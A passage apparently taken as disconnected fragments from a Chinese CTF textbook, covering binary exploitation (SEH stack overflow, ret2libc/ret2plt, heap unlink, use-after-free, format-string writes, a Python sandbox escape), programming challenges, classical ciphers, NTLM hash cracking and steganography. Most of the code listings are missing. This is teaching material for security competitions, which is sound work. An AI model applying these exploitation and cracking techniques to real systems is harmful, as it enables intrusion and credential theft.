    {"text": "未知 第3章 PWN类赛题 二进制溢出也称为PWN。“PWN”是一个黑客俚语词，是从“OWN”引申而来的，意思是玩家在游戏对战中占据优势，或者对手在游戏对战中处于劣势。这个词在网络游戏文化中主要用于嘲笑对手在游戏对战中被全面击败（例如“You just got PWNED”）。一个著名的国际CTF赛事就叫作Pwn2Own。现在，相信你已经理解这个词了——通过打败对手取得最终胜利。 CTF比赛中的PWN类赛题通常会直接给出一个已编译的二进制程序（Windows下的EXE或Linux下的ELF等），选手通过对二进制程序进行逆向分析和调试找出漏洞并编写利用代码，通过远程代码执行实现溢出攻击，最终拿到目标机器的Shell，夺取flag。 常见的PWN类赛题有以下几种。 • Windows。 • Python。 • Linux：包括stack、ret2plt、ret2libc、heap、fastbin、unlink、use after free。 • 其他：包括格式化字符串、整数溢出。 未知 3.1 Windows PWN 题目 FTP协议栈溢出漏洞 FTP协议栈溢出题目主要考察选手对FTP协议的了解程度及对Windows栈溢出漏洞的利用水平。 题目概况 在一台Windows XP SP3主机中，FTP服务器存在漏洞，请找出该漏洞并实现对该漏洞的利用。已知账号admin，密码123456，相关信息如下。 • 操作系统：Windows XP SP3。 • 账号：admin。 • 密码：123456。 • 软件的安装包。 解题思路 尝试使用admin/123456的组合登录主机的远程桌面，结果失败了。 既然题目要求我们找出FTP服务器的漏洞，那么可以猜测admin/123456是FTP服务器的账号和密码。此外，题目提供了软件安装包。要想获得远程机器上的flag文件，一个可行的方案是在本地搭建测试环境，进行漏洞挖掘，然后在目标机器上执行。 在本地搭建Windows XP SP3虚拟机，安装题目提供的软件包。 输入本地IP地址127.0.0.1，用户名admin，密码123456，开启服务，如图3-1所示。执行“netstat -an”命令，查看开放的端口。21端口已经开放，说明服务正常运行。 图3-1 接下来就要进行漏洞挖掘了。 首先，选择自己常用的工具。在这里，笔者选择的是AlphaFuzzer的FTPFUZZ模块和网络协议的模糊测试模块，如图3-2和图3-3所示。在一般情况下，模糊测试可以触发软件的漏洞。 然后，开启模糊测试功能，等待漏洞挖掘软件给出结果。经过漫长的等待，FTPFUZZ模块触发了一次FTP崩溃，如图3-4所示。 对崩溃点进行深入分析。在图3-4所示界面中，把APPE后面的数据改成“aaaaaaaa”并适当调整长度。经过测试，过长的数据不会导致可以直接控制EIP的崩溃。略微缩短数据的长度，将会发现，当长度合适时，POC就可以控制EIP寄存器，如图3-5所示。 图3-2 图3-3 图3-4 图3-5 分析POC，如图3-6所示，发现SEH链表被改变是EIP被控制的直接原因。因此，通过修改EIP即可利用该漏洞。 图3-6 栈地址已被覆盖，如图3-7所示。 经过分析，该漏洞是栈缓冲区溢出漏洞。利用该漏洞可以执行任意代码。将Shellcode放入数据包，即可控制远程主机，从而拿到存储在主机中的flag文件。 既然对题目程序中的漏洞有了明确的认知，就可以编写漏洞利用脚本了。该漏洞的利用方式很多，在这里通过淹没SEH链表的方式来控制EIP寄存器。 执行EXP，即可添加一个系统用户test，如图3-8所示。修改EXP，直接读取flag文件，完成本题。 图3-7 图3-8 小结 Windows下的PWN类赛题，主要考察选手的漏洞挖掘经验，以及对常用模糊测试工具的熟悉程度。只有对常用模糊测试工具的功能较为了解，才能在第一时间选择正确的工具对漏洞进行挖掘。除此之外，选手需要在POC构造、软件调试、逆向分析、EXP开发等方面有所积累。"},
    {"text": "程序输出“Welcome to XDCTF2015~!\\n”后，会调用sub_8048484()函数，具体如下。 sub_8048484()函数的内容如下。 使用sub_8048484()函数读取长度为0x100的变量，即可覆盖函数的返回地址，从而获得控制流。"},
    {"text": "但是，由于程序开启了NX（“No-execute”的缩写）保护功能且没有system@plt，所以，我们需要使用libc的system函数的地址来构造ROP链，从而实现绕过，步骤如下。"},
    {"text": "找到system函数的地址后，利用read()函数读取输入的/bin/bash，将其写入data段，具体如下。 最后，根据system函数的地址和/bin/bash的地址构造栈空间，以执行system(\"/bin/bash\")函数，具体如下。"},
    {"text": "题目3 构造浮点型Shellcode 题目概况 构造浮点型Shellcode题目主要考察选手对IEEE 754浮点型的了解程度，以及如何把Shellcode的十六进制值转换成浮点型的，内容如下。"},
    {"text": "图3-12 但是，由于这个函数对传入的值进行了除以4000的计算，所以，需要乘以4000，且结果不能超过int位的最大值2147483647，具体如下，结果如图3-13所示。 412042×4000=1648168000，小于int位的最大值2147483647，如图3-14所示。"},
    {"text": "通过IDA对程序进行逆向，发现adminpassword是从flag.txt文件中读取的，所以，可以猜测密码就是flag，且adminpassword是不受ASLR保护的（其原理参见链接3-2），如图3-16所示。"},
    {"text": "题目5 ret2plt栈溢出漏洞 题目概况 ret2plt栈溢出漏洞题目主要考察选手对Linux平台上软件动态编译的理解，需要选手熟悉程序链接表（Procedure Linkage Table，PLT）技术，并能利用该技术实现栈溢出漏洞的利用。"},
    {"text": "因为有NX的保护，程序无法直接转到Shellcode，所以，在解答本题时，可以通过ret2libc、ret2plt等方法绕过NX（在使用ret2libc时，需要在服务器上关闭ASLR或掌握libc信息）。"},
    {"text": "相关知识点 本题主要考察栈溢出漏洞和ret2plt的利用方式。 利用栈溢出漏洞转到PLT的system函数处，找到字符串“sh”的地址，构造栈空间，最后执行system(\"sh\")函数。"},
    {"text": "在本题中，add()函数申请的内存中保存了global_malloc，我们要做的就是获取add()函数申请的内存的地址，然后构造假数据（Fake Data）来触发unlink，步骤大致如下。"},
    {"text": "（1）获取libc的地址 首个块被释放后，FD将保存有关main_arena的信息。 main_arena是已经初始化的静态全局变量，存放在libc.so.6的 .data位置，可用于获取libc的基址。"},
    {"text": "图3-20 图3-21 图3-22 图3-23 （4）获取Shell 再次向堆块2写内容，此时可以用任意地址覆盖堆块1。 再次向堆块1写内容，实现任意地址写，具体如下，如图3-24和图3-25所示。 图3-24 图3-25 相关知识点 本题主要考察选手对Linux堆的理解。"},
    {"text": "在创建字符串时，有两种情形：如果输入的字符串大于16字节，那么字符串将被放到堆中，即“*(_QWORD *)&ptr->buf = dest”； 如果输入的字符串小于等于16字节，那么字符串将被放到栈中，即“strncpy(&ptr->buf, &buf, nbytesa)”。"},
    {"text": "由于输入字符串的大小为32字节，超过了栈的容量（16字节），所以，需要把输入的字符串保存在堆中，此时申请的内存正好是已经释放的内存“1”。"},
    {"text": "图3-27 （2）获取libc的地址 利用printf格式化漏洞和DynELF获取system函数的地址，具体如下。 （3）获取Shell 利用UAF漏洞执行system(\"/bin/bash;cccccccccccccccc\")函数，具体如下，如图3-28所示。"},
    {"text": "题目8 格式化字符串漏洞 题目概况 格式化字符串漏洞题目主要考察选手对Linux中printf()函数的理解，需要选手利用printf()函数产生的漏洞来解题。"},
    {"text": "通过 %s参数可以输出字符串，即将偏移处指针指向的字符串输出（例如，%i$s表示输出偏移i处的地址指向的字符串），从而读取任意地址的信息。"},
    {"text": "• %i$hhn：把前面打印的字符数写到偏移i处地址指向的1字节中。 • %i$hn：把前面打印的字符数写到偏移i处地址指向的2字节中。 • %i$n：把前面打印的字符数写到偏移i处地址指向的4字节中。"},
    {"text": "在sub_80486EC()函数处读取9个字符（等于v1寄存器的大小），输出内容如下。 在sub_80485E7()函数处循环10次，读取数组索引和数组的值并将其保存到变量s中，当v1寄存器的值大于9时直接退出，具体如下。"},
    {"text": "整数溢出漏洞的利用结果，如图3-30所示。 图3-30 如果可以在本地利用整数溢出漏洞，就可以根据题目给出的地址进行远程利用，具体如下。 相关知识点 本题主要考察整数溢出漏洞。 利用整数溢出漏洞，可以实现任意地址写。"},
    {"text": "仔细分析3个输入点，发现在输入数组索引值时，没有判断其是否大于等于0，这可能导致接下来给数组赋值时发生向上溢出（该漏洞无法被利用）。"},
    {"text": "④利用整数溢出将函数的返回地址覆盖为system函数的地址，参数为字符串的地址。 （1）整数溢出 对于数组s，当“4*v1=344(101011000)”时，正好是函数的返回地址。"},
    {"text": "（3）获取system函数的地址 利用数组越界写漏洞执行printf()函数，此时输入的数据正好在rdi寄存器中。 利用格式化字符串漏洞和DynELF模块获取system函数的地址，如图3-33所示。 图3-32 图3-33 （4）获取Shell 再次执行存在漏洞的函数，利用数组越界写漏洞将函数的返回地址改为system函数的地址。"},
    {"text": "通过vul()函数的代码可知，v7寄存器存储的是通过本地时间计算的随机数，如果argv和v7的值相等，就继续判断是否在循环88次后调用flag()函数（输出本地flag）；"},
    {"text": "将程序放到IDA中，通过main()函数的代码可知，v3寄存器先获取本地时间并将其放入srand()函数，以生成种子，再通过rand()函数产生随机数并打印，具体如下。"},
    {"text": "解题思路 题目给出了服务端程序的源代码文件shell.py，其内容如下。 使用nc等工具连接题目给出的主机地址和IP地址后，会得到一个运行了以上脚本文件的Shell，如图3-36所示。"},
    {"text": "在解答本题时，需要想办法绕过代码前半部分的检测逻辑，到达最后一个语句“exec data”处来执行输入的Python脚本代码，然后通过执行命令的方式到服务器端获取flag。"},
    {"text": "list类是object类的一个子类，而我们想要知道object类有哪些子类，具体如下。 由于object类的子类很多，所以这里只列出了一部分，其中就有我们需要的file类。"},
    {"text": "猜测flag所在的文件为flag.txt，尝试读取该文件，如图3-37所示。 图3-37 竟然没有输出任何内容——难道没有flag.txt这个文件吗？"},
    {"text": "在这里也利用了通过以上方法获取的base的subclasses()，但我们要寻找的不是file类，而是warnings.catch_warnings类（可以在subclasses()中找到，具体操作就不展示了）。"},
    {"text": "通过题目给出的代码可知，sys模块已被加载，而os模块存在于sys.modules中，“sys”“os”关键字存在于banned列表中，所以不能直接进行利用。"},
    {"text": "虽然现在我们可以得到所有的全局变量了，但是，要想给banned重新赋值，就要解决一个问题：现在，“banned”是一个处在“黑名单”中的关键字，不能直接使用。"},
    {"text": "未知 第4章 PPC类赛题 “PPC”是“Professionally ProgramCoder”的缩写，其字面意思表示，解答此类题目需要选手有一定的编程基础。 解答PPC类赛题一般不需要选手“脑洞大开”。例如，给出需求，要求选手通过编写代码来实现需求。此类题目可能要求选手在短时间内写出脚本，而对算法等方面的要求不是特别严格，只要能在较短的时间内解决问题即可。 未知 4.1 工具编写 工具编写题目，一般会给出编程环境，需要选手根据题目要求完成目标工具的编写。例如，本节将要分析的两道题目，就需要选手按照题目要求写出暴力破解程序，获得flag。 题目1 LostKey 题目概况 题目标题为“LostKey”。 小明同学正在学习PHP加解密算法。他通过自定义的iv和key对明文进行加密，得到密文；对字符串“studycrypt”进行加密，结果为“ebe53d6d90d6e5c6529a374a8fd3b0e8”。但是，初始文档损坏了（尽管iv还存在，但key的后4位变成了乱码）。你能帮小明同学找回原来的key吗？代码如下。 解题思路 通过题目描述可知，其目的是让我们编写一个简单的脚本，破解key值的后4位。 由于key值后4位的取值范围为0000～ffff，所以，我们可以直接修改题目给出的PHP脚本，增加一个简单的循环。当key的值与期望的值相同时，加密后的值为“ebe53d6d90d6 e5c6529a374a8fd3b0e8”。 按照以上思路修改PHP脚本，具体如下。 小结 除了PHP脚本，还可以使用其他语言来解答本题。笔者习惯使用的是Python。不过，因为本题已经给出了一些代码，所以我们只需要在这些代码的基础上进行少量的修改。在比赛中，这样做可以给解答其他题目争取时间。 题目2 addcodes 题目概况 题目标题为“addcodes”。 如图4-1所示，题目给出了一些无规律的验证码图片，需要选手识别图片中每一位的内容，然后将所有数字的乘积（去掉0）及所有数字的和计算出来。 图4-1 解题思路 将题目提供的验证码图片下载下来，发现一共有290多张，每张图片上都有一组4位字母或数字。 题目要求是识别所有图片上的数字，然后进行计算。所以，首先将图片降噪，即对图片进行二值化处理，然后对图片进行切割处理，对图片上的每一位建模，以识别其内容，取得需要的数据，最后进行计算。虽然这是一种可行的解题思路，但我们也要学会使用现成的工具。 在这里推荐使用tesseract，这样我们只要对图片进行二值化处理，然后对识别算法进行训练，就可以取得想要的数据了。笔者使用的是OS X操作系统。在命令行环境中执行“brew install tesseract”命令，即可安装tesseract。tesseract在Linux的许多发行版本中都已经默认安装了。Windows用户可以访问链接4-1，下载已编译的版本，或者下载源代码后自己编译使用。 接下来，访问链接4-2，下载样本训练工具。这是一个Java程序，使用该工具时需要系统中有Java环境。 由于题目给出的图片的内容都是简单的数字和字母，所以，需要将图片全部进行二值化处理，然后进行样本训练，最后进行图片的二值化操作，代码如下。因为需要处理的图片数量不多，所以不需要使用多线程。处理本题所有图片，耗时不到1秒。 处理后的图片，如图4-2所示。 图4-2 接下来，就可以对这些图片进行样本训练，以提高识别的准确率了。为了避免出现类似将大写字母“I”识别成数字“1”的情况，需要将含有大写字母“I”的图片全部去除。此外，不修改图片名称是为了便于在训练中进行验证。如何进行样本训练，在这里就不详细介绍了，请读者通过网络搜索“Tesseract-OCR 样本训练”获取详细的教程。 样本训练完成后，我们可以编写一个脚本，将所有图片中的数字取出，然后计算它们的和与积。 将训练好的样本放到tesseract安装目录的tessdata目录中，具体如下。 将数字全部取出，对结果进行处理，然后进行计算，即可得到flag。"},
    {"text": "通过“if base64.b64encode(answer)== \"fm2knkCBHPuhCQHYE3spag==\":”可知“answer = \"\\x7e\\x6d\\xa4\\x9e\\x40\\x81\\x1c\\xfb\\xa1\\x09\\x01\\xd8\\x13\\x7b\\x29\\x6a\"”。"},
    {"text": "使用key值计算filename，结果为“5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9 edac27a28a0f3ba753f4.txt”，代码如下。"},
    {"text": "解题思路 CTF赛题大都有其目的性，在页面中一般会给出指引，所以，认真阅读题目页面的内容、了解题目所提供的程序的功能，可以有效地帮助我们找到题目的考察点。"},
    {"text": "在这个连环迷宫中共有 T 个迷宫，每个迷宫都有如下信息：迷宫大小 n （表示这是 n × n 的迷宫），迷宫入口坐标，迷宫出口坐标，迷宫地图（由“X”和“O”组成的 n 行 n 列的迷宫：“X”表示障碍物，即不可走；"},
    {"text": "标记顶点1，选择顶点3并对其进行标记，然后选择与顶点3邻接的顶点2； 顶点2被标记后，由于没有与它邻接的未标记的顶点，所以返回顶点3，选择与顶点3邻接且未被标记的顶点4；"},
    {"text": "前面提到过，CTF赛题大都有其目的性，在页面中一般会给出指引，所以，认真阅读题目页面的内容、了解题目所提供的程序的功能，可以有效地帮助我们找到题目的考察点。"},
    {"text": "根据题目给出的提示，压缩包里有很多图片验证码，将每幅图片上的数字与图片文件名的积相加得到的结果，就是这道题的答案。 下载压缩包并解压，可以知道，图片都是40像素×10像素的，每幅图片中有且只有4个数字，所有的数字都没有经过处理（变形、局部显示等），如图4-7所示。"},
    {"text": "（3）二值化 图片中的验证字符上的每个像素都用数字1表示，其他部分用数字0表示，这样，就可以计算每个数字的字模了。 （4）计算特征 对需要识别的图片进行二值化，得到图片的特征。 （5）对照样本 将前面通过计算得到的图片特征码和验证码字模进行对比，得到验证图片中的数字。"},
    {"text": "未知 4.3 竞速 竞速题目也属于PPC类赛题，通常需要选手根据题目给出的要求优化算法，并在规定时间内拿到flag。 题目1 百米赛跑 题目概况 题目给出了一个Web页面，如图4-15所示。打开页面，提示“这是一道计算题”，需要选手进行计算并填写结果。 图4-15 解题思路 打开页面，发现计算难度不大，但计算并填写答案后，提示答案错误，同时题目也自动刷新了。失败的原因是题目对提交答案进行了时间限制，超时即判失败。解题思路为：编写一个程序，用程序抓取题目给出的数字进行计算并自动提交（以获得最佳的计算速度）。 使用Burp Suite抓包，得到GET请求和POST请求的URL，通过正则表达式匹配题目内容并进行计算，得出结果后自动提交到相应的URL。笔者编写的Python代码如下。 在以上代码中有一些要点：为了解析HTML文件，需要导入BeautifulSoup库；需要删除字符串中的空格；需要将题目中的乘号“×”替换成“*”，然后以POST方式提交计算结果。 小结 本题比较简单，没有“暗桩”和“陷阱”，对选手的编程水平要求不高。选手只要了解题目的要求并编写代码，即可获得答案。 题目2 速度爆破 题目概况 题目内容如下。 解题思路 根据题目内容可知，在2秒内填入一个整数，其经过MD5和SHA1加密计算即可得到题目提供的整数。用公式表示为sha1(md5(x))==y。 解答本题，只需要编写一个爆破程序，具体如下。 代码问题解答 是不是觉得这道题其实不难？事实上并非如此。 这道题主要考察的知识点是会话请求。相信一开始很多选手会将脚本写成下面这样。 这段代码看起来似乎没有问题，但运行时会一直报告“Time expired”错误。这是什么原因导致的呢？ 将这段代码和正确的代码进行比较，可以发现：正确的代码采用会话对象（session =requests.Session()）的方式向网站发出请求，而错误的代码通过requests直接向网站发出请求。两者有什么不同？ 使用requests请求同一个URL两次，返回信息的格式完全相同，即每次请求都是一个新的请求。 再看会话对象的方式。可以看出，两次请求的返回信息的格式不同。以上代码与正确的代码相比，少了Set-Cookie，原因是第一次处理请求时没有断开连接，第二次请求是在第一次请求的状态下进行的。 题目要求我们在2秒内输入答案，而会话对象的方式可以让请求保持活动状态（持久连接），即同一会话中的请求都会自动复用恰当的连接。但是，直接使用requests无法实现这一点。这就是“Time expired”错误的成因。 未知 第5章 安全杂项类赛题 “MISC”是“Miscellaneous”的前四个字母，可以理解为杂项、混合体、大杂烩。在CTF比赛中，“MISC”表示“安全杂项”，题目涉及信息隐写、密码学、流量分析、电子取证、数据分析、大数据统计等，主要考查选手综合应用安全基础知识的能力。 前面多次提到，CTF赛题会将多个知识点放在一道题中。此特点在安全杂项类赛题中的体现尤为突出。"},
    {"text": "例如，使用Converter将题目给出的数字复制并粘贴到输入位置（原始值），然后单击“Hex to Text”按钮，如图5-1所示，也可以得到“FE2E2E2FE2EFEF2EFE2”这串字符。"},
    {"text": "图5-2 相关知识点 摩斯密码（Morse Code，也译为“摩尔斯电码”）是一种时通时断的信号代码，它通过不同的排列顺序来表达不同的英文字母、数字和标点符号。"},
    {"text": "不同于现代只使用0和1两种状态的二进制代码，摩尔斯电码包括点、横、点和横之间的停顿、字符之间的短停顿（在点和横之间）、词之间的中停顿、句子之间的长停顿。"},
    {"text": "不像现在可以从扬声器或耳机中听到电码的声音，从前人们要借助电报机上的机械发声装置才能听到“嗒”的声音，甚至需要通过发送电键来收听电码的声音（电键在不发送信号时被设置为被动模式，负责发声）。"},
    {"text": "摩尔斯电码的初衷是方便无线电收发，但在人们想要将其可视化之后，就需要用字符来替代“滴”“嗒”这两种信号，于是，在计算机可打印字符中选择了“·”和“-”来分别表示短信号和长信号。"},
    {"text": "对照图5-3，将其翻译成摩斯密码，本题为“.- .-.. .--. .... .- .-.. .- -...”，然后放入摩斯密码翻译软件，就能得到最终的答案“alphalab”。"},
    {"text": "将原字符串复制到JPocketKnife的文本框中，选择“Ascii”→“Decrypt”→“Caser”选项，会将所有的偏移情况全都列出来，如图5-5所示。"},
    {"text": "图5-5 相关知识点 据传，恺撒密码是古罗马的恺撒大帝为了保护重要军事情报而设计的加密系统。 由于恺撒是率先使用加密信函的古代将领之一，所以将这种加密方法称为恺撒密码。 在密码学中，恺撒密码是最简单且最广为人知的加密技术。 恺撒密码采用替换加密技术，将明文中的所有字母在字母表上按照一个固定的数字向后（或向前）进行偏移，形成密文。"},
    {"text": "图5-6 相关知识点 所谓栅栏密码，就是把要加密的明文以 N 个为一组，把每组的第一个字符连起来，形成一段无规律的字符。 不过，栅栏密码本身有一个潜规则，就是组成栅栏的字母不会太多（一般不超过30个，也就是说，只能加密一两句话）。 2栏加密法就是先把需要加密的文件按照一上一下的形式写出来，再把第二行文字排到第一行后面。"},
    {"text": "什么是非对称加密算法呢？ 非对称加密算法是相对于对称加密算法而言的。 非对称加密算法需要两个密钥，分别是公开密钥（Public Key）和私有密钥（Private Key）。"},
    {"text": "公开密钥和私有密钥是一对，如果用公开密钥对数据进行加密，就只能用对应的私有密钥进行解密； 如果用私有密钥对数据进行加密，就只能用对应的公开密钥进行解密。 因为加密和解密使用的是两个不同的密钥，所以这种算法叫作非对称加密算法。"},
    {"text": "• 使用扩展欧几里得算法，求出 e 模 φ ( n )的模反元素 d ，即 ed ≡ 1 (mod φ ( n ))。 所谓模反元素，就是指整数 d 可以使 ed 被 φ ( n )除的余数为1。"},
    {"text": "• 在加密消息 m 时，应将其作为一个大整数，分成比 n 小的数据分组，求出 c （即加密信息）： c ≡ m ** e mod n 。 • 在对密文 c 进行解密时，取每个加密后的分组 c 并计算 m ： m ≡ c ** d mod n 。"},
    {"text": "有一点需要说明：因为要先求数值的幂，再取 n 的模，而在求数值的幂时，如果两个数值都非常大，就会耗费大量时间，所以，可以使用一种快速幂取模的方法，代码如下（具体原理请读者自行上网搜索）。"},
    {"text": "• ed ≡ 1 (mod φ ( n ))：只有在知道 e 和 φ ( n )的情况下，才能算出 d 。 • φ ( n )= ( p -1)( q -1)：只有在知道 p 和 q 的情况下，才能算出 φ ( n )。 • n = pq ：只有对 n 进行因数分解，才能算出 p 和 q 。"},
    {"text": "通常使用的破解方法是：准备一个常用密码字典，将字典中的条目全部转换为Windows密码散列值，将得到的散列值和通过常用密码生成的散列值进行比较，如果相同，就能得到正确的密码。"},
    {"text": "打开hashkiller网站，输入本题的NTLM-HASH值“C6002D00F57F9F399B6263D714AF 8C3A”，很快就能得到明文密码，即最终答案“hacker521”，如图5-13所示。"},
    {"text": "明文口令的另一个弱点是，当口令小于8字节时，LM-HASH的后8字节的计算过程总是“00000000000000 -str_to_key()-> 0000000000000000”，而这将降低穷举的破解难度。"},
    {"text": "与LM-HASH算法不同，NTLM-HASH算法不需要通过在结尾添加“0x00”来补足14字节（即“\"123456\" ->310032003300340035003600”），而是对获取的Unicode字符串进行标准MD4单向散列。"},
    {"text": "NTLM-HASH算法与LM-HASH算法相比，明文口令大小写敏感，摆脱了魔术字符串“KGS!@#$%”，但无法根据NTLM-HASH判断原始明文口令是否小于8字节。"},
    {"text": "因为使用LM方式加密往往会存在一个对应的NTLM散列值（如果密码长度小于等于14个字符，系统会同时对这个密码使用NTLM加密并存储NTLM的散列值），所以，不要在LM生成的彩虹表中寻找NTLM的散列值——反过来是可以的。"},
    {"text": "有一点需要注意：大部分提供NTLM-HASH查询功能的站点都会提供MD5查询功能，很多题目会利用明文不复杂的MD5值作为中间输出，让选手破解此MD5值（作为最终的flag）。"},
    {"text": "解题思路 键盘图案题目需要选手根据题目给出的字母组合，在键盘上按照字母的顺序将其连接起来，得到最终的答案。 针对本题，在键盘上对第一个字母组合“4esz4rfvsdf”进行连线，如图5-14所示。 图5-14 然后，使用这种方法对其他字母组合进行连线，可以得到最终答案“ALPHA”。"},
    {"text": "题目给出字符串“5191335142”，根据以上划分方式将数字两两分组，然后以第一个数字为列、以第二个数字为行，到图5-16中查找，可以得到最终答案“topctf”。"},
    {"text": "将ROT13套用到一段文字中，只需要检查原字母顺序并用13位之后的对应字母取代原字母，如果轮转到字母表的最后一个字母，则绕回字母表的开头。"},
    {"text": "其他密码学赛题 JavaScript/VBScript加密 题目给出了一个字符串“#@~^GgAAAA==@#@&ls□DD`JzVa4ldl8J*i@#@&CwYAAA==^#~@”。"},
    {"text": "screnc是一个运行在DOS PROMAPT中的命令工具，它使脚本设计者可以对最终的脚本进行编码，从而使Web主机和Web客户无法查看或修改程序的源代码。"},
    {"text": "虽然screnc可以在高版本的Windows操作系统中安装，但是，要想使用screnc，还需要Script Engine 5.0及以上版本的支持。 Script Engine不能在高版本的Windows操作系统中安装，在Windows XP系统中倒是可以正常运行，所以，建议在Windows XP中对VBScript脚本进行加密。"},
    {"text": "启动命令行环境，将路径切换到screnc的安装路径，执行“screnc test.html encode.html”命令，就会在此目录中生成加密后的encode.html文件（文件内容与介绍第二种解密方法时输入的相同）。"},
    {"text": "图5-22 猪圈密码 猪圈密码是一种外形古怪的密码，已经使用了数百年，没有人明确知道它是何时被发明的。 早在1700年，共济会就常常使用猪圈密码来保护一些私密记录及进行通信，所以其也称为“共济会密码”。"},
    {"text": "他于1809年1月4日出生在法国一个贫苦的马具匠家庭，3岁时因摆弄工具不慎失手，刺伤了一只眼睛，不久，另一只眼睛也被感染，导致双目失明。"},
    {"text": "图5-25 QWE密码 QWE密码的原理，就是用专门设计的字母表替换键盘上的原始字符，具体加密方式如图5-26所示。 图5-26 在图5-26中，每个按键右上角的正体字母为明码（即我们拿到的密码），左下角的斜体字母就是对应的密码，加密方法就是按照键盘上的字母将明码替换为密码。"},
    {"text": "隐写术的英文单词“Steganography”来源于约翰尼斯·特里特米乌斯的一本看上去与“黑魔法”有关的书，实际上，那是一本讲解密码学与隐写术的书—— Steganographia 。"},
    {"text": "因为隐写题目是包含在CTF安全杂项类赛题中的，所以，以上这种可以直接拿到flag的题目不太可能出现。 由于隐写大都伴随其他考点出现，很少单独考察，选手在解题时很容易踩“坑”，所以，我们一定要让脑子多转几个弯，拿到最终的flag。"},
    {"text": "RGB数据的格式为( d , d , d )， d 为0～255的整数，每个像素可以存储3个整数，将其转换为十六进制值之后合并在一起，就形成了完整的原始数据。 使用PIL中的Image库，取出每个像素的RGB数据，将其转换为十六进制值，然后将所有十六进制值合并，具体如下，如图5-31所示。"},
    {"text": "其实，后面还有用于识别PDF文件版本的数值，这些数值可以是ASCII值3～7。 例如，%PDF-1.1、%PDF-1.2，一直到 %PDF-1.7，都是PDF文件，只是版本不同。"},
    {"text": "此外，表5-1中提到的GIF文件和JPG文件都有两种标志头，这些许的不同可能是规范的改变，或者产生这种文件的软件不同，需要向下兼容或兼容其他格式造成的。"},
    {"text": "在文件开始位置单击右键，在弹出的快捷菜单中选择“编辑”→“粘贴零字节”选项，会弹出一个对话框，显示要插入零字节的偏移量并询问要插入多少个零字节，如图5-33所示。"},
    {"text": "图5-33 因为我们只缺少开头的两个字节，所以在这里填写“2”，单击“确定”按钮。 这样，在文件开头就会有2字节的0了，如图5-34所示。"},
    {"text": "有一个使用Java编写的工具ZipCenOp，可以方便地对ZIP文件进行伪加密和解密，其用法如下。 • 解密命令：java -jar ZipCenOp.jar r xxxx.zip。 • 加密命令：java -jar ZipCenOp.jar e xxxx.zip。 此工具会在ZIP文件中搜索所有诸如“50 4B 01 02”（P K . .）形式的字节，然后更改其后面那一位的值，进行伪加密和解密。 使用此工具对本题的文件进行解密，ZIP文件就可以正常解压了。"},
    {"text": "使用常见字体生成的PDF文档，因为字体可以被解释器识别，所以可以正常进行复制和检索。 但是，如果PDF文档是使用非常见字体制作和输出的，那么所复制的内容就会变成乱码（要想复制这部分内容，只借助OCR进行识别）。"},
    {"text": "如果读者有使用Photoshop制作图片的经历，就应该了解图层（形象地讲，图层就是将多张含有文字或图形等元素的“胶片”按顺序叠放，然后组合，形成页面的最终效果）的概念。"},
    {"text": "结合“在我下面”这个提示，就很容易理解了：如果在题目给出的PDF文件的此图层下面还有一个图层，那么我们在PDF阅读器中是无法看到其内容的。"},
    {"text": "针对每个组，首先获取每个字符的ASCII编码，然后将ASCII编码转换成8位的二进制值，得到一组3×8=24位的字节。 将这24位划分为4个6位的字节，并在每个6位的字节前面填写两个高位0，得到4个8位的字节。 最后，将这4个8位的字节转换成十进制值，对照Base64编码表，得到编码后的字符，如图5-40所示。"},
    {"text": "也就是说，被编码的字符数一定是3的倍数。 如图5-40所示，3个被编码的字符对应于4个Base64字符，因此，编码后的Base64字符数一定是4的倍数。"},
    {"text": "相关知识点 （1）RAR文件的伪加密 在本节的“解体思路”部分谈到了ZIP的伪加密，下面介绍一下RAR的伪加密。 在RAR文件中，如果文件头偏移0x17处的字节的低4位为4，就是RAR文件的伪加密，将4改为0即可解密。 例如，使用WinRAR打开一个RAR伪加密文件，会给出提示，如图5-42所示。 图5-42 从弹出的诊断信息对话框中可以看出，key.docx是加密文件，如果要将其解压，就需要输入密码。"},
    {"text": "• Base64编码包含的字符为A～Z、a～z、0～9、+、/，共64个。 • Base32编码包含26个大写字母和数字2～7，共32个字符。 • Base16编码包含16个十六进制大写数字。"},
    {"text": "通常我们会使用Photoshop创建一个图片文件，然后在其中创建多个图层，并将其保存成某种格式。 然而，并非所有格式都能将图层保存下来——尽管Photoshop支持多种图片格式，但只有保存成TIFF和PDF格式，才能将图层信息保存下来。"},
    {"text": "选择数字密码（0～9），设置最小密码长度6位，最大密码长度6位，起始密码“000000”，如图5-47所示。 单击“NEXT”按钮，然后单击“开始”按钮，就可以破解密码了，如图5-48所示。"},
    {"text": "因为在本章“题目2”的“相关知识点”部分提到过，包含26个大写字母和数字2～7的编码是Base32编码，所以，现在只要找到可以解码Base32编码的工具即可。"},
    {"text": "如果要将一个正常的字符串转换为Base32编码，就需要将这个字符串的每一位都转换为二进制形式，然后以5个位为一组进行分割，在其前面补3个0（凑成8位），最后对分割后的每个组进行编码，从而得到一个可见字符。"},
    {"text": "如果要编码的字符位数不是5的倍数，就会自动在其末尾填0（转换后为“=”）。 如果原始字符的位数是5的倍数，那么转换后的Base32编码就一定是8的倍数。 本题给出的经过Base32编码的字符，长度是31位，不是8的倍数，所以会报告上面的错误。 在其后面添加一个“=”即可解码。 解码后的字符串为“thisisabase32string”。"},
    {"text": "旧版本的Office文档是纯二进制格式的，而Office 2007从整体上将文档改成基于XML格式的了。 这并不是说Office 2007文档可以保存成XML格式的文档，而是说Office 2007默认的文档格式就是XML（Word的DOCX、Excel的XLSX等）。"},
    {"text": "需要说明的是，JPG文件的结尾标志是“FF D9”。 既然我们怀疑这幅图片中包含其他文件，就需要用WinHex查看文件结尾的字节是否为“FF D9”。"},
    {"text": "对该文件使用WinHex的“搜索”→“查找十六进制数值”选项，然后在弹出的对话框中输入“FFD9”（中间不要空格），即可找到可疑偏移位置0x00032240。"},
    {"text": "具体操作步骤是：在“FF D9”后的“50”处单击右键，在弹出的快捷菜单中选择“选块开始”选项，然后将进度条拖到文件末尾，在最后一个字节上单击右键，在弹出的快捷菜单中选择“选块结束”选项，此时，中间的所有字节都将被选中且颜色将发生变化；"},
    {"text": "在变色的字节上单击右键，在弹出的快捷菜单中选择“编辑”→“复制选块”→“置入新文件”选项，在弹出的“另存为”对话框中设置文件保存位置和文件名（文件后缀为“.zip”）。"},
    {"text": "binwalk是谷歌的一款开源工具，可以在一个给定的二进制文件中搜索其中所包含的文件，并提供了一系列文件标志搜索功能，例如常见的压缩文件、图像文件等。"},
